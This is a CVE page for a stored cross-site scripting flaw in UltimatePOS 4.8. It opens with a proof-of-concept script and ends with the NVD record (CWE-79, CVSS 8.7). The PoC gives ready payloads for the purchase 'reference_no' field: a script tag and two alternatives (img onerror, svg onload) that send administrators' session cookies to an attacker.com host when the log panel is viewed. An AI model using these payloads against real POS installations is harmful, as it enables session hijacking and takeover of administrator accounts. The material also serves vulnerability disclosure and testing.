CVE-2025-60503

// CVE-2025-60503 PoC - Stored XSS in UltimatePOS 4.8 // Author: Security Researcher // Target: ultimatefosters UltimatePOS 4.8 // Step 1: Authentication with low-privilege account const loginEndpoint = 'http://target-ultimatepos.com/api/auth/login'; const credentials = { username: 'attacker_account', password: 'attacker_password' }; // Step 2: Submit purchase with malicious XSS payload in reference number field const purchaseEndpoint = 'http://target-ultimatepos.com/api/purchases'; const maliciousPayload = { product_id: '12345', quantity: 10, reference_no: '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>', // Alternative payloads: // '<img src=x onerror="fetch(\\'https://attacker.com/log?c=\\'+document.cookie)\\'>", // '<svg/onload=fetch("https://attacker.com/steal?data="+btoa(document.cookie))', notes: 'Malicious XSS payload for CVE-2025-60503' }; // Step 3: When admin views the log panel, XSS executes in admin's browser // The malicious script will steal admin's session cookies and send to attacker // Recommended testing payload (alert for demonstration): const testPayload = '<script>alert("CVE-2025-60503 XSS - Cookie: "+document.cookie)</script>'; // Mitigation: Input validation and output encoding should be implemented

{"cve": {"id": "CVE-2025-60503", "sourceIdentifier": "[email protected]", "published": "2025-11-03T16:15:35.333", "lastModified": "2026-02-03T14:56:04.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability exists in the administrative interface of ultimatefosters UltimatePOS 4.8 where input submitted in the purchase functionality is reflected without proper escaping in the admin log panel page in the 'reference No.' field. This flaw allows an authenticated attacker to execute arbitrary JavaScript in the context of an administrator's browser session, which could lead to session hijacking or other malicious actions."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ultimatefosters:ultimatepos:4.8:*:*:*:*:*:*:*", "matchCriteriaId": "177B7A6C-6A08-429A-8153-4602C9CCDA02"}]}]}], "references": [{"url": "https://github.com/H4zaz/CVE-2025-60503", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://ultimatefosters.com", "source": "[email protected]", "tags": ["Product"]}]}}